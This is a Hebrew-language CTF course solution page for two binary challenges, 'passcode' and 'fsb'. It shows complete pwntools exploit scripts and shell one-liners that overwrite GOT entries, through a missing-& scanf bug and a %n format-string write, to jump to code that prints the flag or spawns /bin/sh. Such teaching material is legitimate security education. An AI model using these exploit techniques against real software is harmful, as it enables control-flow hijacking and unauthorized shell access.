5.4 דריסת GOT וחטיפת זרימה פתרון
פתרון - דריסת GOT וחטיפת זרימה¶
כאן נעבור על הפתרון המלא של שני האתגרים, עם הכתובות המדויקות, פקודות לשחזור, וקוד exploit מלא ב-pwntools. החוט המשותף: בשניהם אנחנו משיגים כתיבה שרירותית - פעם מ-scanf בלי & ופעם מ-%n - ומכוונים אותה מעל תא ב-GOT כדי לחטוף את זרימת התוכנית.
הערה על כתובות: המספרים המדויקים תלויים בעותק הבינארי שלכם. לכן ה-exploit שולף את הכתובות מהבינארי עצמו עם elf.got[...], ואת כתובת ה"ניצחון" מהדיסאסמבלי. אם תריצו על עותק אחר, אותן פקודות יפיקו לכם את הכתובות הנכונות - אל תעתיקו מספר בעיוורון.
פתרון תרגיל 1 - passcode¶
נזכיר את הבאג המרכזי ב-login:
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1); // without & -> passcode1 is used as the target address
fflush(stdin); // called immediately -> an excellent overwrite target
...
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
...
}
שלב 1 - מיפוי החפיפה בין name ל-passcode1¶
נפרק את שתי הפונקציות ונחפש את ה-offsets יחסית ל-ebp:
gdb -q ./passcode
pwndbg> disassemble welcome
... lea eax, [ebp-0x70] ; <-- name sits at ebp-0x70
... call scanf ; scanf("%100s", name)
pwndbg> disassemble login
... mov eax, [ebp-0x10] ; <-- passcode1 sits at ebp-0x10
... call scanf ; scanf("%d", passcode1)
... call fflush
ההפרש: 0x70 - 0x10 = 0x60 = 96. כלומר הבתים 96-99 של name הם בדיוק passcode1. נכתוב 96 בתי מילוי ואז 4 בתים שיהיו הכתובת שנרצה ש-passcode1 יחזיק.
שלב 2 - מציאת יעד הדריסה ב-GOT¶
נדרוס את התא של fflush, כי היא נקראת מיד אחרי ה-scanf הראשון:
הכתובת 0x0804a004 נוחה במיוחד: הבית הנמוך שלה הוא 0x04, שאינו בית לבן, אז scanf("%100s") לא ייעצר עליו. ב-pwntools פשוט נכתוב elf.got['fflush'].
שלב 3 - מציאת כתובת ה"ניצחון"¶
נפרק את login ונחפש את הקטע שמריץ system("/bin/cat flag"):
הקטע הרלוונטי נראה כך:
080485e3: mov DWORD PTR [esp], 0x80487af ; loads the string "/bin/cat flag"
080485ea: call 8048440 <system@plt> ; system("/bin/cat flag")
כתובת ה"ניצחון" היא 0x080485e3 - השורה שטוענת את הארגומנט ומיד אחריה קוראת ל-system. אם נקפוץ לשם, system("/bin/cat flag") ירוץ בלי קשר לבדיקת הסיסמאות. בעשרוני: 0x080485e3 = 134514147.
שלב 4 - ה-exploit המלא¶
from pwn import *
context.binary = elf = ELF('./passcode')
context.log_level = 'info'
WIN = 0x080485e3 # mov [esp], "/bin/cat flag" ; call system (from login's disassembly)
p = process('./passcode') # locally; on the server the binary is run directly
# name: 96 filler bytes + the address of fflush@got -> passcode1 == fflush@got
p.recvuntil(b'name : ')
p.sendline(b'A' * 96 + p32(elf.got['fflush']))
# passcode1 (as decimal %d): the win address -> written into fflush@got
p.recvuntil(b'passcode1 : ')
p.sendline(str(WIN).encode())
# now fflush(stdin) jumps to WIN and runs system("/bin/cat flag")
p.interactive()
על השרת עצמו אפשר גם בלי pwntools, בצינור פשוט:
(python3 -c "import sys; sys.stdout.buffer.write(b'A'*96 + (0x0804a004).to_bytes(4,'little'))"; echo 134514147) | ./passcode
הפלט שנקבל:
מה קורה בזמן ריצה¶
1. scanf("%100s", name) reads 96 'A' and then the bytes \x04\xa0\x04\x08.
Because of the overlap, passcode1 == 0x0804a004 == fflush@got.
2. scanf("%d", passcode1) writes 134514147 (0x080485e3) to address 0x0804a004.
In other words fflush@got now points to 0x080485e3.
3. The program calls fflush(stdin) -> jumps through the GOT to 0x080485e3.
4. system("/bin/cat flag") runs there. The flag is printed. We never touched passcode2.
למה זה עבד / איך להכליל: scanf("%d", var) בלי & הפך את הערך של var ליעד כתיבה. שליטה ב-var הושגה מחפיפת מסגרות שכיחה - שתי פונקציות שנקראות ברצף חולקות מחסנית. משם זו דריסת GOT קלאסית: כותבים כתובת קוד מעל תא של פונקציה שתיקרא מיד, וחוטפים את הזרימה לפני כל בדיקה. הבחירה ב-fflush (ולא, נניח, ב-exit שבסוף) חסכה לנו את הצורך לספק passcode2.
פתרון תרגיל 2 - fsb¶
באתגר fsb יש חולשת format string קלאסית: הקלט שלנו מגיע כמחרוזת format ל-printf-משפחה, בתוך לולאה, ובבינארי יש נתיב שמריץ shell דרך execve. נדגים את מלוא הchain - מציאת ה-offset, בניית הכתיבה עם fmtstr_payload, ודריסת יעד - קודם על בינארי הדמה של ההרצה (שאנחנו שולטים בו במאה אחוז), ואז נסביר איך מתרגמים ל-fsb האמיתי.
שלב 1 - הבינארי הדמה ובדיקת הגנות¶
נשתמש ב-fmt_demo.c מההרצאה (printf(buf) בתוך לולאה, ופונקציית win שמריצה system("/bin/sh")):
Arch: i386-32-little
RELRO: Partial RELRO <-- GOT writable
NX: NX enabled
PIE: No PIE <-- fixed addresses
מצב RELRO חלקי ואין PIE - בדיוק מה שצריך לדריסת GOT ישירה. אלו גם ההגנות הטיפוסיות של fsb האמיתי, אז השיטה זהה.
שלב 2 - מציאת ה-offset של מחרוזת הformat¶
נשלח סמן וסדרת %p:
$ ./fmt_demo
> AAAA %p %p %p %p %p %p %p %p
AAAA 0xf7fa4d80 0x0 0x80491c5 0x1 0xffffd514 0x41414141 ...
הסמן 0x41414141 חזר בארגומנט השישי במקרה הזה, אז offset = 6. שימו לב: ה-offset הזה תלוי בבינארי ובקומפילציה - תמצאו את שלכם באותה שיטה בדיוק ואל תניחו מספר.
שלב 3 - ה-exploit המלא (דריסת GOT)¶
from pwn import *
context.binary = elf = ELF('./fmt_demo')
context.log_level = 'info'
offset = 6 # from the experiment with %p
# overwrite printf@got with the address of win: the next call to printf will jump to win
payload = fmtstr_payload(offset, {elf.got['printf']: elf.symbols['win']})
p = process('./fmt_demo')
p.recvuntil(b'> ')
p.sendline(payload) # the vulnerable printf performs the (%n) writes to the GOT
# on the next round printf("> ") already jumps to win -> system("/bin/sh")
p.interactive()
הפונקציה fmtstr_payload מרכיבה מחרוזת עם כתובות היעד בתחילתה ואחריהן רצף %<width>c ו-%offset$hhn שכותב בית-בית. אנחנו לא צריכים לחשב שום רוחב ידנית.
תרגום ל-fsb האמיתי¶
באתגר fsb הchain זהה, עם שני הבדלים שצריך לברר על הבינארי הספציפי:
- מצא את ה-offset באותה שיטת
%p. - בחר יעד. שתי אפשרויות מקבילות:
אפשרות א - דריסת GOT אל נתיב ה-execve. מוצאים בדיסאסמבלי את הכתובת של הקטע שמריץ execve("/bin/sh", ...), ומוצאים תא GOT של פונקציה שנקראת בסבב הלולאה הבא:
אפשרות ב - דריסת המשתנה key כדי שהתנאי יתקיים והתוכנית עצמה תריץ shell:
בשתי האפשרויות שולחים את ה-payload פעם אחת, ואז - תלוי במבנה - או שהקריאה הבאה בלולאה מבצעת את הקפיצה (אפשרות א), או שהתנאי מתקיים ומוביל ל-execve (אפשרות ב). אחר כך:
למה זה עבד / איך להכליל: חולשת format string עם %n היא כתיבה שרירותית מלאה - ערך כלשהו לכתובת כלשהי. ברגע שיש כתיבה כזו, דריסת GOT היא הדרך הישירה לחטיפת זרימה: כותבים כתובת קוד מעל תא של פונקציה שתיקרא בקרוב (בלולאה - כמעט מיד). דריסת key היא אותו פרימיטיב מכוון ליעד נתונים במקום ליעד קוד. fmtstr_payload הופך את החלק המכני (רוחב, פיצול לבתים, סדר כתובות) לשורה אחת, וכל מה שנשאר לנו הוא למצוא את ה-offset ולבחור יעד.
הכללה - מה מחבר את שני האתגרים¶
- האתגרים passcode ו-fsb מגיעים משני באגים רחוקים - שכחת
&ב-scanfמולprintf(buf)- אבל שניהם מייצרים את אותו פרימיטיב: כתיבה של ערך שאנחנו שולטים בו לכתובת שאנחנו שולטים בה. - ברגע שיש כתיבה שרירותית, ה-GOT הוא היעד המתבקש: הוא כתיב (RELRO חלקי), נקרא בעקיפין, ולא מוגן ב-canary. כותבים כתובת של קוד ניצחון קיים מעל תא של פונקציה שעומדת להיקרא, וחוטפים את הזרימה.
- החוט המשותף במחקר חולשות: אל תעצרו ב"יש לי כתיבה". השאלה הבאה תמיד היא "לאיזו כתובת הכי משתלם לכתוב כדי להפוך את הכתיבה לשליטה בזרימה?" - וה-GOT הוא לרוב התשובה הראשונה שבודקים.